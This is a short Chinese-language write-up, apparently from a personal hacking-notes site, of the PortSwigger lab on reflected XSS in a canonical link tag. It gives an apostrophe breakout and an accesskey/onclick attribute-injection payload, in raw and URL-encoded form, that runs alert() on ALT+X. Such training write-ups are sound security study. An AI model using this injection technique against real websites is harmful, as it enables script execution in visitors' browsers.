> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-canonical-link-tag.md).

# Canonical 标签中的反射型 XSS

Canonical 标签中的反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 规范链接标签中的反射型 XSS

`规范` 会在其内部反射的标签 `href` URL 中提供的值（ `<` 和 `>` 尖括号已被转义）。/ 目的：注入一个可执行的 **属性** 会调用 `alert()` 在主页上。

* 源代码显示有一个 `规范` 标签，它接受 `href` 来自 URL 中所放入的内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49123220b8597a3f43d4d3ea3fad3a18318e59cb%2F%7BF3AD865D-19B8-48E4-BA9F-E115C70846BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 你可以用撇号跳出： `' 黑客攻击` => `%27hacking`.

```javascript
' 黑客攻击
%27hacking
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4019a867bcee93065e5af0230395ece66afb00f8%2F%7B5B4BCBFF-08E0-4660-8E28-08B7703D64CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `accesskey` 可用于按下某个键来触发该操作： `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0307160285d60bb612a06e02e522a76836108d78%2F%7B0741082D-3D48-4AB6-AF59-8801A352DEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

指示的操作：

```javascript
ALT + X
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4ea6f4ad853320a64761701c78df30bac4770d%2F%7BD9546137-678A-412E-A94E-C728520F3838%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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```
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